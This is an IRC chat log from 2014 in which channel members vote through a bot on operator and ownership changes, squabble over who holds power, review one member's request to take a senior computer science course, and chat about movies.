[2014-11-27T13:18:15-0500] <~alokpathy> Not really. I have all my subordinates. 
[2014-11-27T13:18:16-0500] <@Hcnsh> plis
[2014-11-27T13:18:20-0500] <~alokpathy> .vote 8 nay
[2014-11-27T13:18:20-0500] <&Pidgey> Vote issued.
[2014-11-27T13:18:32-0500] <@Hcnsh> all the voiced people, .vote 8 yea
[2014-11-27T13:18:38-0500] <+The_Master> .vote ney
[2014-11-27T13:18:47-0500] <@Hcnsh> i gave most of you +v
[2014-11-27T13:18:51-0500] <@Hcnsh> >.>
[2014-11-27T13:18:52-0500] <+The_Master> wait, why don't we make everyone owners?
[2014-11-27T13:18:56-0500] <@Hcnsh> only 1 owner
[2014-11-27T13:18:59-0500] <@Hcnsh> i think
[2014-11-27T13:19:04-0500] <+The_Master> JacobEdelman: you lied to me
[2014-11-27T13:19:06-0500] <@Hcnsh> does it allow more?
[2014-11-27T13:19:08-0500] <@Hcnsh> not sure
[2014-11-27T13:19:10-0500] <@Hcnsh> alok, it might
[2014-11-27T13:19:11-0500] <@Hcnsh> vote yea
[2014-11-27T13:19:12-0500] <+The_Master> JacobEdelman says it does
[2014-11-27T13:19:15-0500] <@Hcnsh> ok then
[2014-11-27T13:19:16-0500] <+The_Master> .vote yea
[2014-11-27T13:19:22-0500] <@Hcnsh> it's .vote 8 yea
[2014-11-27T13:19:23-0500] <+The_Master> .vote 8 yea
[2014-11-27T13:19:23-0500] <&Pidgey> Vote issued.
[2014-11-27T13:19:40-0500] <@Hcnsh> failedxyz jacobedelman jwoglorn ubuntor
[2014-11-27T13:19:49-0500] <@Hcnsh> no sda dude because he'll definitely vote no
[2014-11-27T13:20:52-0500] <@Hcnsh> jwoglom*
[2014-11-27T13:21:00-0500] <@Hcnsh> jwoglom *
[2014-11-27T13:22:55-0500] <Tamini> lol
[2014-11-27T13:23:00-0500] <Tamini> .active
[2014-11-27T13:23:00-0500] <&Pidgey> Proposal (8) to change the owner to Hcnsh.
[2014-11-27T13:23:00-0500] <&Pidgey> Proposal (7) to oper JacobEdelman.
[2014-11-27T13:23:05-0500] <@Hcnsh> do .vote 8 yea
[2014-11-27T13:23:06-0500] <@Hcnsh> plis
[2014-11-27T13:23:22-0500] <+JacobEdelman> nah
[2014-11-27T13:23:25-0500] <@Hcnsh> me and alok will take turns ruling the world
[2014-11-27T13:23:29-0500] <+failedxyz> lol
[2014-11-27T13:23:29-0500] <@Hcnsh> jacob, i voiced you u hoe
[2014-11-27T13:23:33-0500] Tamini (uid33458@pdgn-vvu.9lf.7cuf9e.IP) left the channel ("")
[2014-11-27T13:23:33-0500] <+JacobEdelman> fine
[2014-11-27T13:23:35-0500] Tamini (uid33458@pdgn-vvu.9lf.7cuf9e.IP) joined the channel
[2014-11-27T13:23:35-0500] Pidgey sets mode +o Tamini
[2014-11-27T13:23:35-0500] <+JacobEdelman> lets make a deal
[2014-11-27T13:23:40-0500] <+JacobEdelman> wait
[2014-11-27T13:23:45-0500] <+JacobEdelman> TAMINI IS ALSO AN OP
[2014-11-27T13:23:47-0500] <+JacobEdelman> urh
[2014-11-27T13:23:47-0500] <@Hcnsh> yea
[2014-11-27T13:23:50-0500] <+JacobEdelman> fine
[2014-11-27T13:23:51-0500] <+JacobEdelman> so
[2014-11-27T13:24:00-0500] <+JacobEdelman> I think we should all be owners
[2014-11-27T13:24:01-0500] <@Tamini> hmm
[2014-11-27T13:24:02-0500] <+failedxyz> wat
[2014-11-27T13:24:04-0500] <@Tamini> LOL
[2014-11-27T13:24:04-0500] <@Hcnsh> i'll vote yes for your op thing if you vote yes for my owner thing
[2014-11-27T13:24:12-0500] <+failedxyz> lol
[2014-11-27T13:24:15-0500] <+failedxyz> .active
[2014-11-27T13:24:15-0500] <&Pidgey> Proposal (8) to change the owner to Hcnsh.
[2014-11-27T13:24:15-0500] <&Pidgey> Proposal (7) to oper JacobEdelman.
[2014-11-27T13:24:18-0500] <+JacobEdelman> .vote 8 yeah
[2014-11-27T13:24:18-0500] <&Pidgey> yeah is not a valid vote.
[2014-11-27T13:24:19-0500] <@Tamini> .vote 8 nay
[2014-11-27T13:24:19-0500] <&Pidgey> Vote issued.
[2014-11-27T13:24:20-0500] <+JacobEdelman> .vote 8 yea
[2014-11-27T13:24:20-0500] <&Pidgey> Vote issued.
[2014-11-27T13:24:21-0500] <+failedxyz> .vote 8 yea
[2014-11-27T13:24:21-0500] <&Pidgey> Vote issued.
[2014-11-27T13:24:24-0500] <+failedxyz> .vote 8 yea
[2014-11-27T13:24:24-0500] <&Pidgey> You've already voted in that proposal.
[2014-11-27T13:24:26-0500] <@Tamini> .vote 7 yea
[2014-11-27T13:24:26-0500] <&Pidgey> Vote issued.
[2014-11-27T13:24:29-0500] <@Hcnsh> tamini, ur ded 2 me
[2014-11-27T13:24:33-0500] <+failedxyz> lol
[2014-11-27T13:24:35-0500] <+failedxyz> gg
[2014-11-27T13:24:37-0500] <+JacobEdelman> wait, Tamini, can't you just op me?
[2014-11-27T13:24:40-0500] <@Tamini> ohbb
[2014-11-27T13:24:42-0500] <@Tamini> Lol
[2014-11-27T13:24:50-0500] <@Tamini> but that would be against the spirit of democracy
[2014-11-27T13:24:53-0500] <+JacobEdelman> ....
[2014-11-27T13:24:57-0500] <+JacobEdelman> ...
[2014-11-27T13:24:58-0500] <+JacobEdelman> ...
[2014-11-27T13:25:00-0500] <+JacobEdelman> ...
[2014-11-27T13:25:01-0500] <+JacobEdelman> ...
[2014-11-27T13:25:06-0500] <+failedxyz> !derp--
[2014-11-27T13:25:06-0500] <&Pidgey> There have been 21 derps.
[2014-11-27T13:25:10-0500] <+JacobEdelman> wait
[2014-11-27T13:25:11-0500] <~alokpathy> .vote 8 nay
[2014-11-27T13:25:11-0500] <&Pidgey> You've already voted in that proposal.
[2014-11-27T13:25:25-0500] <@Hcnsh> alok
[2014-11-27T13:25:27-0500] <@Hcnsh> u wanna fite?
[2014-11-27T13:25:28-0500] <~alokpathy> I thought you guys liked me as owner :(
[2014-11-27T13:25:31-0500] <+failedxyz> lol
[2014-11-27T13:25:31-0500] <@Hcnsh> we do
[2014-11-27T13:25:31-0500] <+JacobEdelman> hey, Hcnsh howz about opping me
[2014-11-27T13:25:34-0500] <@Hcnsh> just let us take turns
[2014-11-27T13:25:36-0500] <+JacobEdelman> I want two owners
[2014-11-27T13:25:39-0500] <+JacobEdelman> actually
[2014-11-27T13:25:39-0500] <+failedxyz> wat is this chat
[2014-11-27T13:25:41-0500] <@Hcnsh> .vote 7 yea
[2014-11-27T13:25:41-0500] <&Pidgey> Vote issued.
[2014-11-27T13:25:41-0500] Pidgey sets mode +o JacobEdelman
[2014-11-27T13:25:41-0500] <&Pidgey> Enacted proposal to oper JacobEdelman.
[2014-11-27T13:25:43-0500] <@Hcnsh> there
[2014-11-27T13:25:44-0500] <@JacobEdelman> yeah
[2014-11-27T13:25:54-0500] JacobEdelman sets mode -o Hcnsh
[2014-11-27T13:25:57-0500] <Hcnsh> wtf
[2014-11-27T13:25:59-0500] <Hcnsh> >:C
[2014-11-27T13:26:01-0500] <+failedxyz> lol
[2014-11-27T13:26:02-0500] <~alokpathy> ...
[2014-11-27T13:26:03-0500] <+failedxyz> rekt
[2014-11-27T13:26:03-0500] <@JacobEdelman> you'll be owner
[2014-11-27T13:26:04-0500] <@JacobEdelman> soon
[2014-11-27T13:26:06-0500] <@JacobEdelman> oh fine
[2014-11-27T13:26:07-0500] alokpathy sets mode -o JacobEdelman
[2014-11-27T13:26:10-0500] <~alokpathy> Abuse of power
[2014-11-27T13:26:10-0500] <Hcnsh> only if i get the necessary votes
[2014-11-27T13:26:10-0500] <+failedxyz> :o
[2014-11-27T13:26:12-0500] <+failedxyz> rekt
[2014-11-27T13:26:12-0500] <+JacobEdelman> wait what
[2014-11-27T13:26:14-0500] <Hcnsh> alok op me plis
[2014-11-27T13:26:17-0500] <~alokpathy> JacobEdelman: No deopping
[2014-11-27T13:26:18-0500] <+failedxyz> lol
[2014-11-27T13:26:19-0500] <+JacobEdelman> Hcnsh opped me
[2014-11-27T13:26:19-0500] <+failedxyz> haha
[2014-11-27T13:26:24-0500] <+JacobEdelman> why can't I deop hom?
[2014-11-27T13:26:24-0500] alokpathy sets mode +o Hcnsh
[2014-11-27T13:26:26-0500] <+JacobEdelman> *him
[2014-11-27T13:26:29-0500] <~alokpathy> JacobEdelman: That's not what democracy is about
[2014-11-27T13:26:32-0500] <+failedxyz> lol
[2014-11-27T13:26:32-0500] <+JacobEdelman> (I was gonna reop him anyway)
[2014-11-27T13:26:39-0500] <+failedxyz> his is a really fascinating chat
[2014-11-27T13:26:39-0500] <~alokpathy> That's what they all say
[2014-11-27T13:26:41-0500] <+failedxyz> this*
[2014-11-27T13:27:07-0500] <@Hcnsh> jacob's message don't show name anymore :|
[2014-11-27T13:27:13-0500] <+JacobEdelman> wait, what?
[2014-11-27T13:27:19-0500] <@Hcnsh> ok now it does
[2014-11-27T13:27:23-0500] <+JacobEdelman> hey Hcnsh
[2014-11-27T13:27:25-0500] <@Hcnsh> hi
[2014-11-27T13:27:27-0500] <+JacobEdelman> lets make a deal
[2014-11-27T13:27:29-0500] <+JacobEdelman> you op me
[2014-11-27T13:27:33-0500] <+JacobEdelman> and I'll help you
[2014-11-27T13:27:35-0500] <+JacobEdelman> and in return
[2014-11-27T13:27:35-0500] <@Hcnsh> votes only
[2014-11-27T13:27:37-0500] <~alokpathy> Hcnsh: Don't trust him
[2014-11-27T13:27:37-0500] <+JacobEdelman> wait
[2014-11-27T13:27:38-0500] <@Hcnsh> lol
[2014-11-27T13:27:40-0500] <+JacobEdelman> what, why?
[2014-11-27T13:27:43-0500] <@Hcnsh> because democracy
[2014-11-27T13:27:45-0500] <+JacobEdelman> you guys are meanies
[2014-11-27T13:27:46-0500] <~alokpathy> Also, yeah, democracy only.
[2014-11-27T13:27:50-0500] <+JacobEdelman> .propose oper JacobEdelman 
[2014-11-27T13:27:50-0500] <&Pidgey> Proposal 9 is live.
[2014-11-27T13:27:55-0500] <+JacobEdelman> .vote 9 yea
[2014-11-27T13:27:55-0500] <&Pidgey> Vote issued.
[2014-11-27T13:27:55-0500] <@Hcnsh> .active
[2014-11-27T13:27:55-0500] <&Pidgey> Proposal (8) to change the owner to Hcnsh.
[2014-11-27T13:27:55-0500] <&Pidgey> Proposal (9) to oper JacobEdelman.
[2014-11-27T13:27:57-0500] <~alokpathy> .vote 9 nay
[2014-11-27T13:27:57-0500] <&Pidgey> Vote issued.
[2014-11-27T13:28:04-0500] <@Hcnsh> imma brb in a while
[2014-11-27T13:28:07-0500] <@Hcnsh> gotta read more algorithms
[2014-11-27T13:32:01-0500] <@Hcnsh> http://pastebin.com/d4SFFjsn
[2014-11-27T13:32:06-0500] <@Hcnsh> guys review plis
[2014-11-27T13:34:24-0500] <@Tamini> but jacob is evil
[2014-11-27T13:34:26-0500] <@Tamini> :O
[2014-11-27T13:34:28-0500] <+JacobEdelman> what
[2014-11-27T13:34:31-0500] <+JacobEdelman> yeah
[2014-11-27T13:34:31-0500] <+JacobEdelman> I
[2014-11-27T13:34:35-0500] <+JacobEdelman> am evil
[2014-11-27T13:34:51-0500] <@Hcnsh> tamini, jacobedelman, thoughts?
[2014-11-27T13:35:21-0500] <@Tamini> good
[2014-11-27T13:35:24-0500] <@Tamini> approve
[2014-11-27T13:35:27-0500] <+JacobEdelman> I don't know about this bit: "I'd free up a period for another elective senior year (and I don't want to wait two years for the courses). "
[2014-11-27T13:35:37-0500] <@Hcnsh> what should i write instead?
[2014-11-27T13:35:45-0500] <@Hcnsh> i need some "reason" to wanting to take a senior course sophomore year..
[2014-11-27T13:35:52-0500] <@Hcnsh> for*
[2014-11-27T13:36:49-0500] <+JacobEdelman> because you feel you would learn the most in it
[2014-11-27T13:37:03-0500] <+JacobEdelman> and are able to be in an advanced course
[2014-11-27T13:37:15-0500] <+JacobEdelman> otherwise it just kinda sounds like you can put it off a year
[2014-11-27T13:38:14-0500] <@Hcnsh> if i say i just want to take cs courses, won't it seem like i can wait a few years?
[2014-11-27T13:39:07-0500] <@Hcnsh> is "I don't have much of a choice with the electives currently offered to me and would rather take any CS course possible." good?
[2014-11-27T13:42:52-0500] <@Hcnsh> jacobedelman tamini
[2014-11-27T13:43:23-0500] <@Tamini> yea
[2014-11-27T13:43:24-0500] <@Tamini> last one
[2014-11-27T13:43:33-0500] <@Hcnsh> k c:
[2014-11-27T13:43:41-0500] <+failedxyz> some1 teach me cs pls
[2014-11-27T13:48:55-0500] <@Hcnsh> revised again: http://pastebin.com/bjmttgf5
[2014-11-27T13:53:32-0500] <@Hcnsh> removed contractions: http://pastebin.com/4BVQG3YU
[2014-11-27T13:53:36-0500] <@Hcnsh> i hope it's good
[2014-11-27T13:53:40-0500] <@Hcnsh> i'll ask a few friends to review
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[2014-11-27T14:00:16-0500] <@Tamini> goddammit
[2014-11-27T14:00:24-0500] <@Tamini> the universe doesnt want me to watch interstellar
[2014-11-27T14:00:40-0500] <~alokpathy> The universe doesn't want me to watch Guardians
[2014-11-27T14:02:06-0500] <@Tamini> guardians was sooo good
[2014-11-27T14:02:07-0500] <@Tamini> omg
[2014-11-27T14:02:37-0500] <@Hcnsh> interstellar was soooooo good
[2014-11-27T14:02:37-0500] <@Hcnsh> omg
[2014-11-27T14:02:42-0500] <@Hcnsh> too bad you can't watch it
[2014-11-27T14:02:59-0500] <@Tamini> i can
[2014-11-27T14:03:12-0500] <@Tamini> but my options of "people to watch it with" is shrinking
[2014-11-27T14:03:18-0500] <@Tamini> really fast
[2014-11-27T14:03:20-0500] <@Hcnsh> why do you need people to watch it with
[2014-11-27T14:03:22-0500] <@Hcnsh> it's a damn movie
[2014-11-27T14:03:23-0500] <@Hcnsh> -.-
[2014-11-27T14:04:07-0500] <~alokpathy> Tamini: You can watch it with me
[2014-11-27T14:04:10-0500] <@Hcnsh> unless you want an english professor explaining symbols in every scene
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[2014-11-27T14:04:19-0500] <@Tamini> Hcnsh: im looonely
[2014-11-27T14:04:26-0500] <failedxyz> hei
[2014-11-27T14:04:42-0500] <@Tamini> there's only two people im close enough with to watch movies with alone that havent seen it yet
[2014-11-27T14:04:48-0500] <failedxyz> wat
[2014-11-27T14:04:52-0500] <failedxyz> wat are we talking about
[2014-11-27T14:04:52-0500] <@Hcnsh> just watch it alone
[2014-11-27T14:04:54-0500] <@Tamini> and im pretty sure one of them will murder me in a dark theater
[2014-11-27T14:04:58-0500] <@Tamini> but thats looooonely
[2014-11-27T14:05:03-0500] <@Hcnsh> what
[2014-11-27T14:05:03-0500] <@Hcnsh> how
[2014-11-27T14:05:08-0500] <@Hcnsh> not like you'll talk during the movie
[2014-11-27T14:05:17-0500] <@Hcnsh> i hope you won't
[2014-11-27T14:05:27-0500] <~alokpathy> Hcnsh: She would
[2014-11-27T14:05:29-0500] <~alokpathy> really loudly
[2014-11-27T14:05:38-0500] <~alokpathy> "CAN WE REWIND THAT PART I MISSED IT"
[2014-11-27T14:05:43-0500] <@Hcnsh> lol
[2014-11-27T14:05:45-0500] <failedxyz> ol
[2014-11-27T14:05:48-0500] <failedxyz> lol*
[2014-11-27T14:05:59-0500] <@Tamini> LOL
[2014-11-27T14:06:05-0500] <@Tamini> but cuddlebuddy
[2014-11-27T14:06:08-0500] <@Tamini> i mean-
[2014-11-27T14:06:13-0500] <@Tamini> :P
[2014-11-27T14:06:21-0500] <~alokpathy> wat
[2014-11-27T14:06:26-0500] <@Tamini> it's good to have company so you can do a movie then hang out after and discuss stuff
[2014-11-27T14:06:43-0500] <~alokpathy> YEah like
[2014-11-27T14:06:45-0500] <~alokpathy> the symbolism
[2014-11-27T14:06:48-0500] <failedxyz> wat
[2014-11-27T14:06:55-0500] <failedxyz> who discusses symbolism after a movie
[2014-11-27T14:06:56-0500] <~alokpathy> You can do a rhetorical analysis on the film.
[2014-11-27T14:07:01-0500] <failedxyz> :s
[2014-11-27T14:07:49-0500] <~alokpathy> Tamini: I hope you'll be able to recycle essays between colleges next year.
[2014-11-27T14:07:53-0500] <~alokpathy> It's an amazing feeling.
[2014-11-27T14:08:08-0500] <@Tamini> lolol
[2014-11-27T14:08:10-0500] <~alokpathy> Though you'll probably be able to.
[2014-11-27T14:08:10-0500] <@Tamini> <3
[2014-11-27T14:08:13-0500] <failedxyz> lol
[2014-11-27T14:08:14-0500] <~alokpathy> They basically ask the same thing.
[2014-11-27T14:08:24-0500] <~alokpathy> Except UChicago.
[2014-11-27T14:08:25-0500] <failedxyz> wait Tamini you're a junior?
[2014-11-27T14:08:53-0500] <@Tamini> failedxyz: yeup
[2014-11-27T14:08:57-0500] <failedxyz> :o
[2014-11-27T14:09:04-0500] <@Tamini> alokpathy: uchicago essays are super fun
[2014-11-27T14:09:12-0500] <~alokpathy> Tamini: Too bad I'm not applying there XD
[2014-11-27T14:10:43-0500] <@Tamini> hehe
[2014-11-27T14:10:47-0500] <@Tamini> but they look so cool
[2014-11-27T14:10:52-0500] <@Hcnsh> .active
[2014-11-27T14:10:52-0500] <&Pidgey> Proposal (8) to change the owner to Hcnsh.
[2014-11-27T14:10:52-0500] <&Pidgey> Proposal (9) to oper JacobEdelman.
[2014-11-27T14:10:54-0500] <@Hcnsh> guys
[2014-11-27T14:10:56-0500] <@Hcnsh> do .vote 8 yea
[2014-11-27T14:11:25-0500] <@Hcnsh> failedxyz alokpathy tamini jwoglom
[2014-11-27T14:11:28-0500] <~alokpathy> Tamini: I know somebody who's applying there just to do the essays.
[2014-11-27T14:11:31-0500] <~alokpathy> Hcnsh: I already voted.
[2014-11-27T14:11:35-0500] <@Hcnsh> vote yes
[2014-11-27T14:11:38-0500] <failedxyz> same
[2014-11-27T14:11:39-0500] <+jwoglom> .vote 8 yea
[2014-11-27T14:11:39-0500] <&Pidgey> Vote issued.
[2014-11-27T14:11:39-0500] Pidgey sets mode -q alokpathy
[2014-11-27T14:11:39-0500] Pidgey sets mode +q Hcnsh
[2014-11-27T14:11:39-0500] <&Pidgey> Enacted proposal to change the owner to Hcnsh.
[2014-11-27T14:11:43-0500] <~Hcnsh> YES
[2014-11-27T14:11:46-0500] <alokpathy> :|
[2014-11-27T14:11:47-0500] <failedxyz> lol
[2014-11-27T14:11:51-0500] <failedxyz> gg
[2014-11-27T14:11:52-0500] Hcnsh sets mode +o alokpathy
[2014-11-27T14:11:58-0500] <~Hcnsh> you were op before
[2014-11-27T14:12:04-0500] <@alokpathy> Hcnsh: Fine. You'll be owner for today.
[2014-11-27T14:12:06-0500] <~Hcnsh> oh wait, were you voice?
[2014-11-27T14:12:07-0500] <~Hcnsh> who cares
[2014-11-27T14:12:08-0500] <@alokpathy> We'll alernate everyday.
[2014-11-27T14:12:09-0500] <~Hcnsh> take op
[2014-11-27T14:12:11-0500] <~Hcnsh> yes
[2014-11-27T14:12:13-0500] <@alokpathy> Hcnsh: I was OP.
[2014-11-27T14:12:19-0500] <failedxyz> .propose oper failedxyz
[2014-11-27T14:12:19-0500] <&Pidgey> You must be identified to do that.
[2014-11-27T14:12:28-0500] <failedxyz> .propose oper failedxyz
[2014-11-27T14:12:28-0500] <&Pidgey> Proposal 10 is live.
[2014-11-27T14:12:28-0500] <~Hcnsh> lol
[2014-11-27T14:12:30-0500] <failedxyz> :P
[2014-11-27T14:12:55-0500] <~Hcnsh> sent that email
[2014-11-27T14:13:05-0500] <~Hcnsh> i bet teacher will say "nice that you're interested, but haha no"
[2014-11-27T14:13:29-0500] <~Hcnsh> even if he agrees, i have to convince the head of the department ;_;
[2014-11-27T14:13:32-0500] <~Hcnsh> who doesn't even know me
[2014-11-27T14:15:07-0500] <failedxyz> lol
[2014-11-27T14:15:59-0500] <~Hcnsh> problem is, there are 2 options for seniors: softdev for a year, or systems first semester and graphics second semester
[2014-11-27T14:16:12-0500] <~Hcnsh> i can't take systems cuz it's not taught second semester
[2014-11-27T14:16:23-0500] <~Hcnsh> and probably won't be able to take the second semester of softdev without taking the first one
[2014-11-27T14:16:32-0500] <~Hcnsh> and systems is a requirement for graphics
[2014-11-27T14:16:34-0500] <~Hcnsh> i mean
[2014-11-27T14:16:36-0500] <~Hcnsh> yeah
[2014-11-27T14:16:38-0500] <~Hcnsh> that
[2014-11-27T14:17:00-0500] <~Hcnsh> ;_;
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[2014-11-27T14:24:57-0500] <~Hcnsh> .active
[2014-11-27T14:24:57-0500] <&Pidgey> Proposal (9) to oper JacobEdelman.
[2014-11-27T14:24:57-0500] <&Pidgey> Proposal (10) to oper failedxyz.
[2014-11-27T14:25:10-0500] <~Hcnsh> !resistance
[2014-11-27T14:25:28-0500] <~Hcnsh> alokpathy tamini jacobedelman jwoglom sdamashek The_Master ubuntor
[2014-11-27T14:25:39-0500] <+jwoglom> what does that mean
[2014-11-27T14:25:40-0500] <~Hcnsh> benwaffle bob_twinkles nezorg unitedjaymo
[2014-11-27T14:25:50-0500] <~Hcnsh> the game: http://en.wikipedia.org/wiki/The_Resistance_%28game%29
[2014-11-27T14:26:02-0500] <~Hcnsh> do !join if you want to play (once you read rules, i guess)
[2014-11-27T14:26:07-0500] <@Tamini> lets plaaay <3
[2014-11-27T14:26:10-0500] <@Tamini> !join
[2014-11-27T14:26:22-0500] <@Tamini> such a good game
[2014-11-27T14:26:30-0500] <@Tamini> !voiced
[2014-11-27T14:26:33-0500] <~Hcnsh> how2tell who's going to be the leader after you?
[2014-11-27T14:26:34-0500] <@Tamini> wait darn
[2014-11-27T14:26:41-0500] <@Tamini> .voiced
[2014-11-27T14:26:51-0500] <@Tamini> what was the list of voiced people
[2014-11-27T14:26:55-0500] <~Hcnsh> dunno
[2014-11-27T14:27:00-0500] <~Hcnsh> all the +'s?
[2014-11-27T14:27:47-0500] <@Tamini> heh
[2014-11-27T14:27:54-0500] <@Tamini> alokpathy: ru alive
[2014-11-27T14:28:38-0500] <@alokpathy> Tamini: Yes
[2014-11-27T14:28:42-0500] <@alokpathy> though I'm also watching HOme Alone
[2014-11-27T14:29:11-0500] <@Tamini> wanna !resistance
[2014-11-27T14:29:13-0500] <@Tamini> and lol
[2014-11-27T14:29:24-0500] <@Tamini> alokpathy: find me someone to go see interstellar with next week.
[2014-11-27T14:29:27-0500] <@alokpathy> Yeah sure
[2014-11-27T14:30:47-0500] <@Tamini> you should join
[2014-11-27T14:30:54-0500] <@Tamini> our game pls
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[2014-11-27T14:32:28-0500] <@Tamini> eyo ajvpot, sup
[2014-11-27T14:32:39-0500] <@Tamini> you're not usually here
[2014-11-27T14:32:42-0500] <ajvpot> I clicked the wrong thing in and chat 
[2014-11-27T14:32:43-0500] <ajvpot> Lol 
[2014-11-27T14:33:09-0500] <@Tamini> lol
[2014-11-27T14:34:39-0500] <~Hcnsh> guys !join resistance plis
[2014-11-27T14:38:50-0500] <@Tamini> Hcnsh:
[2014-11-27T14:38:56-0500] <@Tamini> we arent popular enough
[2014-11-27T14:38:56-0500] <~Hcnsh> ?
[2014-11-27T14:38:59-0500] <~Hcnsh> :C
[2014-11-27T14:41:56-0500] <@Tamini> we'll try again later
[2014-11-27T14:44:48-0500] <@awe> .propose chown Pidgey
[2014-11-27T14:44:49-0500] <&Pidgey> Proposal 11 is live.
[2014-11-27T14:44:50-0500] <@awe> .active
[2014-11-27T14:44:50-0500] <&Pidgey> Proposal (9) to oper JacobEdelman.
[2014-11-27T14:44:50-0500] <&Pidgey> Proposal (11) to change the owner to Pidgey.
[2014-11-27T14:44:50-0500] <&Pidgey> Proposal (10) to oper failedxyz.
[2014-11-27T14:44:54-0500] <@awe> .vote 9 nay
[2014-11-27T14:44:54-0500] <&Pidgey> Vote issued.
[2014-11-27T14:44:58-0500] <@awe> .vote 10 nay
[2014-11-27T14:44:58-0500] <&Pidgey> Vote issued.
[2014-11-27T14:45:00-0500] <@awe> .vote 11 yea
[2014-11-27T14:45:00-0500] <&Pidgey> Vote issued.
[2014-11-27T14:45:07-0500] <@awe> .propose deop Tamini
[2014-11-27T14:45:08-0500] <&Pidgey> Proposal 12 is live.
[2014-11-27T14:45:15-0500] <@awe> .propose deop alokpathy
[2014-11-27T14:45:15-0500] <&Pidgey> Proposal 13 is live.
[2014-11-27T14:45:17-0500] <@awe> .vote 12 yea
[2014-11-27T14:45:17-0500] <&Pidgey> Vote issued.
[2014-11-27T14:45:20-0500] <@awe> .vote 13 yea
[2014-11-27T14:45:20-0500] <&Pidgey> Vote issued.
[2014-11-27T14:45:28-0500] <@Tamini> wow, awe.
[2014-11-27T14:45:30-0500] <@awe> Why do I have to keep cleaning this up every time I get back after being gone for a while?
[2014-11-27T14:45:33-0500] <@alokpathy> .vote 13 nay
[2014-11-27T14:45:33-0500] <&Pidgey> Vote issued.
[2014-11-27T14:45:34-0500] <~Hcnsh> .vote 11 nay
[2014-11-27T14:45:34-0500] <&Pidgey> Vote issued.
[2014-11-27T14:45:46-0500] <@alokpathy> awe: I used to be owner :P
[2014-11-27T14:45:49-0500] <~Hcnsh> awe, we're not harming anything
[2014-11-27T14:45:51-0500] <~Hcnsh> plis stahp
[2014-11-27T14:45:58-0500] <@alokpathy> Hcnsh and I decided to alternate everyday
[2014-11-27T14:46:12-0500] <@Tamini> lol
[2014-11-27T14:46:12-0500] <@awe> We don't need five opers.
[2014-11-27T14:46:14-0500] <~Hcnsh> lolno, you refused to give it up, i won democratically, and i agreed to alternate
[2014-11-27T14:46:24-0500] <~Hcnsh> well, jacob won't +v anyone
[2014-11-27T14:46:28-0500] <@alokpathy> Hcnsh: Close enough
[2014-11-27T14:46:36-0500] <~Hcnsh> so we needed ops to +v people c:
[2014-11-27T14:46:42-0500] <@awe> Myself and LittleBobbyTables?
[2014-11-27T14:46:48-0500] <~Hcnsh> you're never on
[2014-11-27T14:46:51-0500] <~Hcnsh> bobby doesn't +v anyone
[2014-11-27T14:47:03-0500] <@awe> I'm less accessible because I don't have a client on my phone right now.
[2014-11-27T14:47:03-0500] <~Hcnsh> democracy won't work without voters..
[2014-11-27T14:47:11-0500] <@awe> Most of the channel is voiced.
[2014-11-27T14:47:23-0500] <@awe> The only people who aren't haven't registered.
[2014-11-27T14:47:32-0500] <~Hcnsh> jacob was begging to be voiced yesterday
[2014-11-27T14:47:33-0500] <~Hcnsh> lol
[2014-11-27T14:47:43-0500] <~Hcnsh> "bobby: No"
[2014-11-27T14:48:07-0500] <@awe> LittleBobbyTables: you have to voice people if they're identified.
[2014-11-27T14:48:12-0500] <~Hcnsh> .active
[2014-11-27T14:48:12-0500] <&Pidgey> Proposal (12) to deop Tamini.
[2014-11-27T14:48:12-0500] <&Pidgey> Proposal (9) to oper JacobEdelman.
[2014-11-27T14:48:12-0500] <&Pidgey> Proposal (13) to deop alokpathy.
[2014-11-27T14:48:12-0500] <&Pidgey> Proposal (11) to change the owner to Pidgey.
[2014-11-27T14:48:12-0500] <&Pidgey> Proposal (10) to oper failedxyz.
[2014-11-27T14:48:18-0500] <~Hcnsh> .vote 12 nay
[2014-11-27T14:48:18-0500] <&Pidgey> Vote issued.
[2014-11-27T14:48:19-0500] <~Hcnsh> .vote 13 nay
[2014-11-27T14:48:19-0500] <&Pidgey> Vote issued.
[2014-11-27T14:48:21-0500] <~Hcnsh> .vote 11 nay
[2014-11-27T14:48:21-0500] <&Pidgey> You've already voted in that proposal.
[2014-11-27T14:48:31-0500] <@Tamini> .vote 12 nay
[2014-11-27T14:48:31-0500] <&Pidgey> Vote issued.
[2014-11-27T14:48:36-0500] <@Tamini> .vote 11 nay
[2014-11-27T14:48:37-0500] <&Pidgey> Vote issued.
[2014-11-27T14:48:37-0500] <~Hcnsh> he's just as inactive as you, anyways
[2014-11-27T14:48:46-0500] <~Hcnsh> at least one active op would be nice
[2014-11-27T14:48:46-0500] <@Tamini> .vote 13 nay
[2014-11-27T14:48:47-0500] <&Pidgey> Vote issued.
[2014-11-27T14:48:57-0500] <@Tamini> .vote 9 nay
[2014-11-27T14:48:57-0500] <&Pidgey> Vote issued.
[2014-11-27T14:48:58-0500] <@awe> Fine, I'll install Colloquy on my phone.
[2014-11-27T14:49:05-0500] <@Tamini> .vote 10 nay
[2014-11-27T14:49:05-0500] <&Pidgey> Vote issued.
[2014-11-27T14:49:08-0500] <@awe> Even though it's really shitty.
[2014-11-27T14:49:37-0500] <@awe> Either way, we seriously don't need half the channel to be opers.
[2014-11-27T14:49:49-0500] <@awe> It completely defeats the purpose of being an oper.
[2014-11-27T14:49:58-0500] <@awe> Because we can all kick each other and stuff.
[2014-11-27T14:50:04-0500] <~Hcnsh> there is no purpose of being an op with this democracy bot
[2014-11-27T14:50:05-0500] awe sets mode -o Hcnsh
[2014-11-27T14:50:08-0500] <@awe> See.
[2014-11-27T14:50:17-0500] <~Hcnsh> difference is we don't do that
[2014-11-27T14:50:24-0500] awe sets mode +o Hcnsh
[2014-11-27T14:50:39-0500] <@awe> The whole point of the bot is that you don't need an oper.
[2014-11-27T14:50:45-0500] <~Hcnsh> except to +v
[2014-11-27T14:50:49-0500] <@awe> Right.
[2014-11-27T14:50:49-0500] <~Hcnsh> which is all i've done with op powers
[2014-11-27T14:50:54-0500] <@awe> But we have FIVE OF THEM.
[2014-11-27T14:50:57-0500] <@awe> also, you shouldn't be owner.
[2014-11-27T14:50:58-0500] <~Hcnsh> yes
[2014-11-27T14:51:01-0500] <@awe> The whole point is that we don't have an owner.
[2014-11-27T14:51:02-0500] <@alokpathy> Exactly
[2014-11-27T14:51:03-0500] <~Hcnsh> i think 5 people to +v people is fine
[2014-11-27T14:51:04-0500] <@alokpathy> I should be.
[2014-11-27T14:51:06-0500] <@awe> No.
[2014-11-27T14:51:15-0500] <@awe> Firstly, it's unnecessary.
[2014-11-27T14:51:19-0500] <@awe> Secondly, it breaks everything.
[2014-11-27T14:51:24-0500] <@awe> Because half the people don't need to vote to do anything.
